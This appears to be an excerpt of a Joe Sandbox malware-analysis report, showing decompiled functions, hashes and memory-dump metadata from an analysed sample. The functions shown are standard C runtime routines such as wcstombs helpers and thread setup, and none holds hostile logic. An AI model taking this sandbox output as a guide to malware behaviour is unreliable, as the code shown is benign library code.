Instruction Fuzzy Hash: 8301A7B8A40104EBC700CB54DD81F5EB3B1BF89308F348299E9056B382D679EE41DB59

Uniqueness

Uniqueness Score: -1.00%

Function 00437146, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E00437146(intOrPtr __ebx, void* __edx, intOrPtr __edi, intOrPtr __esi) {
				intOrPtr* _t155;
				signed int* _t157;
				signed int _t162;
				intOrPtr* _t179;
				intOrPtr _t201;
				void* _t220;
				intOrPtr _t221;
				void* _t222;
				intOrPtr _t240;
				intOrPtr _t247;
				intOrPtr _t290;
				intOrPtr _t291;
				signed int _t292;
				void* _t294;

				_t291 = __esi;
				_t290 = __edi;
				_t221 = __ebx;
				if( *(_t292 + 0x10) != 0) {
					 *(_t292 - 0x30) = 0 |  *(_t292 + 0xc) != 0x00000000;
					if( *(_t292 - 0x30) == 0) {
						_push(L"pwcs != NULL");
						_push(0);
						_push(0x66);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
						_push(2);
						_t220 = L0041E330();
						_t294 = _t294 + 0x14;
						if(_t220 == 1) {
							asm("int3");
						}
					}
					if( *(_t292 - 0x30) != 0) {
						_t274 =  *(_t292 + 0x14);
						L0041ACF0(_t292 - 0x20,  *(_t292 + 0x14));
						if( *(_t292 + 8) == 0) {
							_t155 = E0041AE00(_t292 - 0x20);
							_t225 =  *_t155;
							if( *((intOrPtr*)( *_t155 + 0x14)) != 0) {
								_t227 = _t292 - 0x20;
								_t157 = E0041AE00(_t292 - 0x20);
								_t274 =  *_t157;
								 *(_t292 - 4) = WideCharToMultiByte( *( *_t157 + 4), 0,  *(_t292 + 0xc), 0xffffffff, 0, 0, 0, _t292 - 0x10);
								if( *(_t292 - 4) == 0 ||  *(_t292 - 0x10) != 0) {
									 *((intOrPtr*)(L00422E20(_t227))) = 0x2a;
									 *(_t292 - 0x68) = 0xffffffff;
									E0041ADD0(_t292 - 0x20);
									_t162 =  *(_t292 - 0x68);
								} else {
									 *(_t292 - 0x6c) =  *(_t292 - 4) - 1;
									E0041ADD0(_t292 - 0x20);
									_t162 =  *(_t292 - 0x6c);
								}
							} else {
								_t274 =  *(_t292 + 0xc);
								 *(_t292 - 0x64) = E0042DB10(_t225,  *(_t292 + 0xc));
								E0041ADD0(_t292 - 0x20);
								_t162 =  *(_t292 - 0x64);
							}
						} else {
							if( *((intOrPtr*)( *((intOrPtr*)(E0041AE00(_t292 - 0x20))) + 0x14)) != 0) {
								if( *((intOrPtr*)( *((intOrPtr*)(E0041AE00(_t292 - 0x20))) + 0xac)) != 1) {
									_t240 =  *((intOrPtr*)(E0041AE00(_t292 - 0x20)));
									_t274 =  *(_t240 + 4);
									 *(_t292 - 4) = WideCharToMultiByte( *(_t240 + 4), 0,  *(_t292 + 0xc), 0xffffffff,  *(_t292 + 8),  *(_t292 + 0x10), 0, _t292 - 0x10);
									if( *(_t292 - 4) == 0 ||  *(_t292 - 0x10) != 0) {
										if( *(_t292 - 0x10) != 0 || GetLastError() != 0x7a) {
											 *((intOrPtr*)(L00422E20(_t240))) = 0x2a;
											 *(_t292 - 0x4c) = 0xffffffff;
											E0041ADD0(_t292 - 0x20);
											_t162 =  *(_t292 - 0x4c);
										} else {
											while( *(_t292 - 4) <  *(_t292 + 0x10)) {
												_t179 = E0041AE00(_t292 - 0x20);
												_t247 =  *((intOrPtr*)(E0041AE00(_t292 - 0x20)));
												_t274 =  *(_t247 + 4);
												 *((intOrPtr*)(_t292 - 0xc)) = WideCharToMultiByte( *(_t247 + 4), 0,  *(_t292 + 0xc), 1, _t292 - 0x2c,  *( *_t179 + 0xac), 0, _t292 - 0x10);
												if( *((intOrPtr*)(_t292 - 0xc)) == 0 ||  *(_t292 - 0x10) != 0) {
													 *((intOrPtr*)(L00422E20(_t247))) = 0x2a;
													 *(_t292 - 0x50) = 0xffffffff;
													E0041ADD0(_t292 - 0x20);
													_t162 =  *(_t292 - 0x50);
												} else {
													if( *((intOrPtr*)(_t292 - 0xc)) < 0 ||  *((intOrPtr*)(_t292 - 0xc)) > 5) {
														 *((intOrPtr*)(L00422E20(_t247))) = 0x2a;
														 *(_t292 - 0x54) = 0xffffffff;
														E0041ADD0(_t292 - 0x20);
														_t162 =  *(_t292 - 0x54);
													} else {
														if( *(_t292 - 4) +  *((intOrPtr*)(_t292 - 0xc)) <=  *(_t292 + 0x10)) {
															 *(_t292 - 8) = 0;
															while( *(_t292 - 8) <  *((intOrPtr*)(_t292 - 0xc))) {
																( *(_t292 + 8))[ *(_t292 - 4)] =  *((intOrPtr*)(_t292 +  *(_t292 - 8) - 0x2c));
																_t274 =  &(( *(_t292 + 8))[ *(_t292 - 4)]);
																if(( *(_t292 + 8))[ *(_t292 - 4)] != 0) {
																	 *(_t292 - 8) =  *(_t292 - 8) + 1;
																	 *(_t292 - 4) =  *(_t292 - 4) + 1;
																	continue;
																}
																 *(_t292 - 0x5c) =  *(_t292 - 4);
																E0041ADD0(_t292 - 0x20);
																_t162 =  *(_t292 - 0x5c);
																goto L55;
															}
															_t274 =  &(( *(_t292 + 0xc))[1]);
															 *(_t292 + 0xc) =  &(( *(_t292 + 0xc))[1]);
															continue;
														}
														 *(_t292 - 0x58) =  *(_t292 - 4);
														E0041ADD0(_t292 - 0x20);
														_t162 =  *(_t292 - 0x58);
													}
												}
												goto L55;
											}
											 *(_t292 - 0x60) =  *(_t292 - 4);
											E0041ADD0(_t292 - 0x20);
											_t162 =  *(_t292 - 0x60);
										}
									} else {
										 *(_t292 - 0x48) =  *(_t292 - 4) - 1;
										E0041ADD0(_t292 - 0x20);
										_t162 =  *(_t292 - 0x48);
									}
									goto L55;
								}
								if( *(_t292 + 0x10) > 0) {
									 *(_t292 + 0x10) = E004375B0( *(_t292 + 0xc),  *(_t292 + 0x10));
								}
								_t274 =  *(_t292 + 0xc);
								_t201 =  *((intOrPtr*)(E0041AE00(_t292 - 0x20)));
								_t260 =  *(_t201 + 4);
								 *(_t292 - 4) = WideCharToMultiByte( *(_t201 + 4), 0,  *(_t292 + 0xc),  *(_t292 + 0x10),  *(_t292 + 8),  *(_t292 + 0x10), 0, _t292 - 0x10);
								if( *(_t292 - 4) == 0 ||  *(_t292 - 0x10) != 0) {
									 *((intOrPtr*)(L00422E20(_t260))) = 0x2a;
									 *(_t292 - 0x44) = 0xffffffff;
									E0041ADD0(_t292 - 0x20);
									_t162 =  *(_t292 - 0x44);
								} else {
									if( *((char*)( &(( *(_t292 + 8))[ *(_t292 - 4)]) - 1)) == 0) {
										 *(_t292 - 4) =  *(_t292 - 4) - 1;
									}
									_t274 =  *(_t292 - 4);
									 *(_t292 - 0x40) =  *(_t292 - 4);
									E0041ADD0(_t292 - 0x20);
									_t162 =  *(_t292 - 0x40);
								}
								goto L55;
							} else {
								goto L10;
							}
							while(1) {
								L10:
								_t265 =  *(_t292 - 4);
								if( *(_t292 - 4) >=  *(_t292 + 0x10)) {
									break;
								}
								_t274 =  *(_t292 + 0xc);
								if(( *( *(_t292 + 0xc)) & 0x0000ffff) <= 0xff) {
									( *(_t292 + 8))[ *(_t292 - 4)] =  *( *(_t292 + 0xc));
									_t274 =  *( *(_t292 + 0xc)) & 0x0000ffff;
									 *(_t292 + 0xc) =  &(( *(_t292 + 0xc))[1]);
									if(( *( *(_t292 + 0xc)) & 0x0000ffff) != 0) {
										_t274 =  *(_t292 - 4) + 1;
										 *(_t292 - 4) =  *(_t292 - 4) + 1;
										continue;
									}
									 *(_t292 - 0x38) =  *(_t292 - 4);
									E0041ADD0(_t292 - 0x20);
									_t162 =  *(_t292 - 0x38);
									goto L55;
								}
								 *((intOrPtr*)(L00422E20(_t265))) = 0x2a;
								 *(_t292 - 0x34) = 0xffffffff;
								E0041ADD0(_t292 - 0x20);
								_t162 =  *(_t292 - 0x34);
								goto L55;
							}
							 *(_t292 - 0x3c) =  *(_t292 - 4);
							E0041ADD0(_t292 - 0x20);
							_t162 =  *(_t292 - 0x3c);
						}
					} else {
						 *((intOrPtr*)(L00422E20(_t222))) = 0x16;
						_t162 = E00422BB0(_t221, _t222, _t290, _t291, L"pwcs != NULL", L"_wcstombs_l_helper", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x66, 0) | 0xffffffff;
					}
					goto L55;
				} else {
					_t162 = 0;
					L55:
					return E0042BC70(_t162, _t221,  *(_t292 - 0x24) ^ _t292, _t274, _t290, _t291);
				}
			}

0x00437146
0x00437146
0x00437146
0x0043714a
0x0043715c
0x00437163
0x00437165
0x0043716a
0x0043716c
0x0043716e
0x00437173
0x00437175
0x0043717a
0x00437180
0x00437182
0x00437182
0x00437180
0x00437187
0x004371b7
0x004371be
0x004371c7
0x004374fe
0x00437503
0x00437509
0x0043753b
0x0043753e
0x00437543
0x0043754f
0x00437556
0x00437563
0x00437569
0x00437573
0x00437578
0x0043757d
0x00437583
0x00437589
0x0043758e
0x0043758e
0x0043750b
0x0043750b
0x00437517
0x0043751d
0x00437522
0x00437522
0x004371cd
0x004371db
0x00437285
0x00437351
0x00437353
0x0043735d
0x00437364
0x00437389
0x0043739b
0x004373a1
0x004373ab
0x004373b0
0x004373b8
0x004373b8
0x004373cd
0x004373ef
0x004373f1
0x004373fb
0x00437402
0x0043740f
0x00437415
0x0043741f
0x00437424
0x0043742c
0x00437430
0x0043743d
0x00437443
0x0043744d
0x00437452
0x0043745a
0x00437463
0x0043747b
0x00437496
0x004374ab
0x004374b0
0x004374b8
0x0043748a
0x00437493
0x00000000
0x00437493
0x004374bd
0x004374c3
0x004374c8
0x00000000
0x004374c8
0x004374d5
0x004374d8
0x00000000
0x004374d8
0x00437468
0x0043746e
0x00437473
0x00437473
0x00437430
0x00000000
0x00437402
0x004374e3
0x004374e9
0x004374ee
0x004374ee
0x0043736c
0x00437372
0x00437378
0x0043737d
0x0043737d
0x00000000
0x00437364
0x0043728f
0x004372a1
0x004372a1
0x004372b6
0x004372c4
0x004372c6
0x004372d0
0x004372d7
0x00437311
0x00437317
0x00437321
0x00437326
0x004372df
0x004372eb
0x004372f3
0x004372f3
0x004372f6
0x004372f9
0x004372ff
0x00437304
0x00437304
0x00000000
0x00000000
0x00000000
0x00000000
0x004371e1
0x004371e1
0x004371e1
0x004371e7
0x00000000
0x00000000
0x004371e9
0x004371f4
0x00437223
0x00437228
0x00437231
0x00437236
0x00437251
0x00437254
0x00000000
0x00437254
0x0043723b
0x00437241
0x00437246
0x00000000
0x00437246
0x004371fb
0x00437201
0x0043720b
0x00437210
0x00000000
0x00437210
0x0043725c
0x00437262
0x00437267
0x00437267
0x00437189
0x0043718e
0x004371af
0x004371af
0x00000000
0x0043714c
0x0043714c
0x0043759b
0x004375a8
0x004375a8

APIs

__invalid_parameter.LIBCMTD ref: 004371A7

Strings

pwcs != NULL, xrefs: 00437165, 004371A2
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 0043716E, 00437198
_wcstombs_l_helper, xrefs: 0043719D

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: __invalid_parameter
String ID: _wcstombs_l_helper$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c$pwcs != NULL
API String ID: 3730194576-2632876063
Opcode ID: b492b0aedd17dd80bf65a2e853ba41457b663f78efbd6f913cc80486625b811f
Instruction ID: 9eb9ed3fcdab1494bfca7f80841b485d47444538e947d8944b107195f050b2ee
Opcode Fuzzy Hash: b492b0aedd17dd80bf65a2e853ba41457b663f78efbd6f913cc80486625b811f
Instruction Fuzzy Hash: F0F0C871E94318BAEB306E60DD07B6E3651671C714F10266FF845352C2DBFE46508A59

Uniqueness

Uniqueness Score: -1.00%

Function 00437625, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 52%

			E00437625(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				signed int _t85;
				intOrPtr _t86;
				void* _t91;
				signed int _t95;
				void* _t103;
				void* _t110;
				void* _t111;
				void* _t112;
				signed int _t121;
				signed int _t123;
				signed int _t127;
				signed int _t128;
				signed int _t129;
				signed int _t132;
				signed int _t134;
				signed int _t140;
				void* _t142;
				void* _t143;
				void* _t144;
				void* _t146;
				void* _t147;

				_t143 = __esi;
				_t142 = __edi;
				_t112 = __ecx;
				_t111 = __ebx;
				if( *(_t144 + 0x10) > 0 ||  *(_t144 + 0xc) == 0 &&  *(_t144 + 0x10) == 0) {
					 *((intOrPtr*)(_t144 - 0x1c)) = 1;
				} else {
					 *((intOrPtr*)(_t144 - 0x1c)) = 0;
				}
				 *((intOrPtr*)(_t144 - 0x10)) =  *((intOrPtr*)(_t144 - 0x1c));
				if( *((intOrPtr*)(_t144 - 0x10)) == 0) {
					_push(L"(dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0)");
					_push(0);
					_push(0x133);
					_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
					_push(2);
					_t110 = L0041E330();
					_t146 = _t146 + 0x14;
					if(_t110 == 1) {
						asm("int3");
					}
				}
				if( *((intOrPtr*)(_t144 - 0x10)) != 0) {
					__eflags =  *(_t144 + 0xc);
					if( *(_t144 + 0xc) != 0) {
						_t128 =  *(_t144 + 0xc);
						 *_t128 = 0;
						__eflags =  *(_t144 + 0x10) - 0xffffffff;
						if( *(_t144 + 0x10) != 0xffffffff) {
							__eflags =  *(_t144 + 0x10) - 0x7fffffff;
							if( *(_t144 + 0x10) != 0x7fffffff) {
								__eflags =  *(_t144 + 0x10) - 1;
								if( *(_t144 + 0x10) > 1) {
									__eflags =  *0x440208 -  *(_t144 + 0x10) - 1; // 0xffffffff
									if(__eflags >= 0) {
										_t128 =  *(_t144 + 0x10) - 1;
										__eflags = _t128;
										 *(_t144 - 0x20) = _t128;
									} else {
										_t127 =  *0x440208; // 0xffffffff
										 *(_t144 - 0x20) = _t127;
									}
									__eflags =  *(_t144 + 0xc) + 1;
									E0041B4C0(_t142,  *(_t144 + 0xc) + 1, 0xfe,  *(_t144 - 0x20));
									_t146 = _t146 + 0xc;
								}
							}
						}
					}
					__eflags =  *(_t144 + 8);
					if( *(_t144 + 8) != 0) {
						_t128 =  *(_t144 + 8);
						 *_t128 = 0;
					}
					__eflags =  *(_t144 + 0x18) -  *(_t144 + 0x10);
					if( *(_t144 + 0x18) <=  *(_t144 + 0x10)) {
						_t128 =  *(_t144 + 0x18);
						 *(_t144 - 0x24) = _t128;
					} else {
						 *(_t144 - 0x24) =  *(_t144 + 0x10);
					}
					 *(_t144 - 8) =  *(_t144 - 0x24);
					__eflags = 0x7fffffff -  *(_t144 - 8);
					asm("sbb edx, edx");
					_t129 = _t128 + 1;
					__eflags = _t129;
					 *(_t144 - 0x14) = _t129;
					if(_t129 == 0) {
						_push(L"bufferSize <= INT_MAX");
						_push(0);
						_push(0x13f);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
						_push(2);
						_t103 = L0041E330();
						_t146 = _t146 + 0x14;
						__eflags = _t103 - 1;
						if(_t103 == 1) {
							asm("int3");
						}
					}
					__eflags =  *(_t144 - 0x14);
					if( *(_t144 - 0x14) != 0) {
						_t115 =  *(_t144 + 0xc);
						_t85 = L00437120(_t111,  *(_t144 - 8), _t142, _t143,  *(_t144 + 0xc),  *((intOrPtr*)(_t144 + 0x14)),  *(_t144 - 8),  *((intOrPtr*)(_t144 + 0x1c)));
						_t147 = _t146 + 0x10;
						 *(_t144 - 0xc) = _t85;
						__eflags =  *(_t144 - 0xc) - 0xffffffff;
						if( *(_t144 - 0xc) != 0xffffffff) {
							_t132 =  *(_t144 - 0xc) + 1;
							 *(_t144 - 0xc) = _t132;
							__eflags =  *(_t144 + 0xc);
							if( *(_t144 + 0xc) == 0) {
								L56:
								__eflags =  *(_t144 + 8);
								if( *(_t144 + 8) != 0) {
									 *( *(_t144 + 8)) =  *(_t144 - 0xc);
								}
								_t86 =  *((intOrPtr*)(_t144 - 4));
								goto L59;
							}
							__eflags =  *(_t144 - 0xc) -  *(_t144 + 0x10);
							if( *(_t144 - 0xc) <=  *(_t144 + 0x10)) {
								L55:
								_t134 =  *(_t144 + 0xc) +  *(_t144 - 0xc);
								__eflags = _t134;
								 *((char*)(_t134 - 1)) = 0;
								goto L56;
							}
							__eflags =  *(_t144 + 0x18) - 0xffffffff;
							if( *(_t144 + 0x18) == 0xffffffff) {
								L54:
								 *(_t144 - 0xc) =  *(_t144 + 0x10);
								 *((intOrPtr*)(_t144 - 4)) = 0x50;
								goto L55;
							}
							 *( *(_t144 + 0xc)) = 0;
							__eflags =  *(_t144 + 0x10) - 0xffffffff;
							if( *(_t144 + 0x10) != 0xffffffff) {
								__eflags =  *(_t144 + 0x10) - 0x7fffffff;
								if( *(_t144 + 0x10) != 0x7fffffff) {
									__eflags =  *(_t144 + 0x10) - 1;
									if( *(_t144 + 0x10) > 1) {
										__eflags =  *0x440208 -  *(_t144 + 0x10) - 1; // 0xffffffff
										if(__eflags >= 0) {
											_t121 =  *(_t144 + 0x10) - 1;
											__eflags = _t121;
											 *(_t144 - 0x2c) = _t121;
										} else {
											_t95 =  *0x440208; // 0xffffffff
											 *(_t144 - 0x2c) = _t95;
										}
										_t132 =  *(_t144 - 0x2c);
										__eflags =  *(_t144 + 0xc) + 1;
										E0041B4C0(_t142,  *(_t144 + 0xc) + 1, 0xfe, _t132);
										_t147 = _t147 + 0xc;
									}
								}
							}
							_t119 =  *(_t144 + 0x10);
							__eflags =  *(_t144 - 0xc) -  *(_t144 + 0x10);
							asm("sbb edx, edx");
							 *(_t144 - 0x18) =  ~_t132;
							if( *(_t144 - 0xc) ==  *(_t144 + 0x10)) {
								_push(L"sizeInBytes > retsize");
								_push(0);
								_push(0x157);
								_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
								_push(2);
								_t91 = L0041E330();
								_t147 = _t147 + 0x14;
								__eflags = _t91 - 1;
								if(_t91 == 1) {
									asm("int3");
								}
							}
							__eflags =  *(_t144 - 0x18);
							if( *(_t144 - 0x18) != 0) {
								goto L54;
							} else {
								 *((intOrPtr*)(L00422E20(_t119))) = 0x22;
								E00422BB0(_t111, _t119, _t142, _t143, L"sizeInBytes > retsize", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x157, 0);
								_t86 = 0x22;
								goto L59;
							}
						} else {
							__eflags =  *(_t144 + 0xc);
							if( *(_t144 + 0xc) != 0) {
								 *( *(_t144 + 0xc)) = 0;
								__eflags =  *(_t144 + 0x10) - 0xffffffff;
								if( *(_t144 + 0x10) != 0xffffffff) {
									__eflags =  *(_t144 + 0x10) - 0x7fffffff;
									if( *(_t144 + 0x10) != 0x7fffffff) {
										__eflags =  *(_t144 + 0x10) - 1;
										if( *(_t144 + 0x10) > 1) {
											__eflags =  *0x440208 -  *(_t144 + 0x10) - 1; // 0xffffffff
											if(__eflags >= 0) {
												_t140 =  *(_t144 + 0x10) - 1;
												__eflags = _t140;
												 *(_t144 - 0x28) = _t140;
											} else {
												_t123 =  *0x440208; // 0xffffffff
												 *(_t144 - 0x28) = _t123;
											}
											_t115 =  *(_t144 + 0xc) + 1;
											__eflags =  *(_t144 + 0xc) + 1;
											E0041B4C0(_t142,  *(_t144 + 0xc) + 1, 0xfe,  *(_t144 - 0x28));
										}
									}
								}
							}
							_t86 =  *((intOrPtr*)(L00422E20(_t115)));
							goto L59;
						}
					} else {
						 *((intOrPtr*)(L00422E20(0x7fffffff))) = 0x16;
						E00422BB0(_t111, 0x7fffffff, _t142, _t143, L"bufferSize <= INT_MAX", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x13f, 0);
						_t86 = 0x16;
						goto L59;
					}
				} else {
					 *((intOrPtr*)(L00422E20(_t112))) = 0x16;
					E00422BB0(_t111, _t112, _t142, _t143, L"(dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0)", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x133, 0);
					_t86 = 0x16;
					L59:
					return _t86;
				}
			}

0x00437625
0x00437625
0x00437625
0x00437625
0x00437629
0x00437640
0x00437637
0x00437637
0x00437637
0x0043764a
0x00437651
0x00437653
0x00437658
0x0043765a
0x0043765f
0x00437664
0x00437666
0x0043766b
0x00437671
0x00437673
0x00437673
0x00437671
0x00437678
0x004376ad
0x004376b1
0x004376b3
0x004376b6
0x004376b9
0x004376bd
0x004376bf
0x004376c6
0x004376c8
0x004376cc
0x004376d4
0x004376da
0x004376ea
0x004376ea
0x004376ed
0x004376dc
0x004376dc
0x004376e2
0x004376e2
0x004376fc
0x00437700
0x00437705
0x00437705
0x004376cc
0x004376c6
0x004376bd
0x00437708
0x0043770c
0x0043770e
0x00437711
0x00437711
0x0043771a
0x0043771d
0x00437727
0x0043772a
0x0043771f
0x00437722
0x00437722
0x00437730
0x00437738
0x0043773b
0x0043773d
0x0043773d
0x00437740
0x00437743
0x00437745
0x0043774a
0x0043774c
0x00437751
0x00437756
0x00437758
0x0043775d
0x00437760
0x00437763
0x00437765
0x00437765
0x00437763
0x00437766
0x0043776a
0x004377ab
0x004377af
0x004377b4
0x004377b7
0x004377ba
0x004377be
0x0043782a
0x0043782d
0x00437830
0x00437834
0x00437921
0x00437921
0x00437925
0x0043792d
0x0043792d
0x0043792f
0x00000000
0x0043792f
0x0043783d
0x00437840
0x00437917
0x0043791a
0x0043791a
0x0043791d
0x00000000
0x0043791d
0x00437846
0x0043784a
0x0043790a
0x0043790d
0x00437910
0x00000000
0x00437910
0x00437853
0x00437856
0x0043785a
0x0043785c
0x00437863
0x00437865
0x00437869
0x00437871
0x00437877
0x00437886
0x00437886
0x00437889
0x00437879
0x00437879
0x0043787e
0x0043787e
0x0043788c
0x00437898
0x0043789c
0x004378a1
0x004378a1
0x00437869
0x00437863
0x004378a4
0x004378a7
0x004378aa
0x004378ae
0x004378b1
0x004378b3
0x004378b8
0x004378ba
0x004378bf
0x004378c4
0x004378c6
0x004378cb
0x004378ce
0x004378d1
0x004378d3
0x004378d3
0x004378d1
0x004378d4
0x004378d8
0x00000000
0x004378da
0x004378df
0x004378fb
0x00437903
0x00000000
0x00437903
0x004377c0
0x004377c0
0x004377c4
0x004377c9
0x004377cc
0x004377d0
0x004377d2
0x004377d9
0x004377db
0x004377df
0x004377e7
0x004377ed
0x004377fd
0x004377fd
0x00437800
0x004377ef
0x004377ef
0x004377f5
0x004377f5
0x0043780f
0x0043780f
0x00437813
0x00437818
0x004377df
0x004377d9
0x004377d0
0x00437820
0x00000000
0x00437820
0x0043776c
0x00437771
0x0043778d
0x00437795
0x00000000
0x00437795
0x0043767a
0x0043767f
0x0043769b
0x004376a3
0x00437932
0x00437935
0x00437935

APIs

__invalid_parameter.LIBCMTD ref: 0043769B

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 0043765F, 0043768C
(dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0), xrefs: 00437653, 00437696
_wcstombs_s_l, xrefs: 00437691

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: __invalid_parameter
String ID: (dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0)$_wcstombs_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c
API String ID: 3730194576-625432840
Opcode ID: 5500cf82e9fbf15f650df30849e535fa259ff710c693ce0f712eb9da5b718486
Instruction ID: c5f8c5724ec88b9f8287ff075be46ea5e203592b59b7ee827eab883208d705ce
Opcode Fuzzy Hash: 5500cf82e9fbf15f650df30849e535fa259ff710c693ce0f712eb9da5b718486
Instruction Fuzzy Hash: 9501A2B0A847199AEB309E44CC17BAF7260AB24729F20256FE890352C1D7FD4640CE8D

Uniqueness

Uniqueness Score: -1.00%

Function 0041A941, Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

___libm_error_support.LIBCMTD ref: 0041A9F5

Part of subcall function 00421460: __encode_pointer.LIBCMTD ref: 00421541

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: ___libm_error_support__encode_pointer
String ID:
API String ID: 3390238661-0
Opcode ID: bd5f022fdd1d3c5235b296f91ea3384d698401cf7c935dfb91f3aeea7f321e09
Instruction ID: f7dce2bfcc222c1c635a31a6723f3dae261c355259887809aaab70da8da365c9
Opcode Fuzzy Hash: bd5f022fdd1d3c5235b296f91ea3384d698401cf7c935dfb91f3aeea7f321e09
Instruction Fuzzy Hash: 4B413A71C09744DACB11AB38EA4516EB7B0FF95384F00CB6BF88861212EB34C9A9D357

Uniqueness

Uniqueness Score: -1.00%

Function 0042491A, Relevance: 6.0, APIs: 4, Instructions: 32
threadCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E0042491A(intOrPtr __eax) {
				void* _t10;
				intOrPtr _t11;
				intOrPtr _t16;
				void* _t21;

				 *((intOrPtr*)(_t21 - 8)) = __eax;
				if( *((intOrPtr*)(_t21 - 8)) == 0) {
					L2:
					E00424980();
					_t10 = 0;
				} else {
					_push( *((intOrPtr*)(_t21 - 8)));
					_t11 =  *0x440cb0; // 0x1
					_push(_t11);
					_t16 =  *0x55adec; // 0xbd2acf69
					if( *((intOrPtr*)(E00424670(_t16)))() != 0) {
						E004249E0(_t16,  *((intOrPtr*)(_t21 - 8)), 0);
						 *((intOrPtr*)( *((intOrPtr*)(_t21 - 8)))) = GetCurrentThreadId();
						 *((intOrPtr*)( *((intOrPtr*)(_t21 - 8)) + 4)) = 0xffffffff;
						_t10 = 1;
					} else {
						goto L2;
					}
				}
				return _t10;
			}

0x0042491d
0x00424924
0x00424945
0x00424945
0x0042494a
0x00424926
0x00424929
0x0042492a
0x0042492f
0x00424930
0x00424943
0x00424954
0x00424965
0x0042496a
0x00424971
0x00000000
0x00000000
0x00000000
0x00424943
0x00424979

APIs

__encode_pointer.LIBCMTD ref: 00424937

Part of subcall function 00424670: TlsGetValue.KERNEL32(00000001,004248E6,BD2A0F69), ref: 00424685
Part of subcall function 00424670: TlsGetValue.KERNEL32(00000001,00000001), ref: 004246A6
Part of subcall function 00424670: __crt_wait_module_handle.LIBCMTD ref: 004246BC
Part of subcall function 00424670: GetProcAddress.KERNEL32(00000000,DecodePointer), ref: 004246D6

__mtterm.LIBCMTD ref: 00424945
__initptd.LIBCMTD ref: 00424954
GetCurrentThreadId.KERNEL32 ref: 0042495C

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: Value$AddressCurrentProcThread__crt_wait_module_handle__encode_pointer__initptd__mtterm
String ID:
API String ID: 1673568325-0
Opcode ID: 91831ea50285bb63639be493bf5443a2faeb589c8016f743cf773e69b55c0eb6
Instruction ID: a8b761def2c45d7c91607c52025497f7f438d9d770ed83f1f7d16304a94b3efc
Opcode Fuzzy Hash: 91831ea50285bb63639be493bf5443a2faeb589c8016f743cf773e69b55c0eb6
Instruction Fuzzy Hash: 6EF090F5B00214ABC700EFB8FC4175BB774EB89324F1082A9E80597391EA359580CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0041C57F, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28COMMON

Download Yara Rule

APIs

__CrtCheckMemory.LIBCMTD ref: 0041C58F

Strings

_CrtCheckMemory(), xrefs: 0041C598
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041C5A4

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

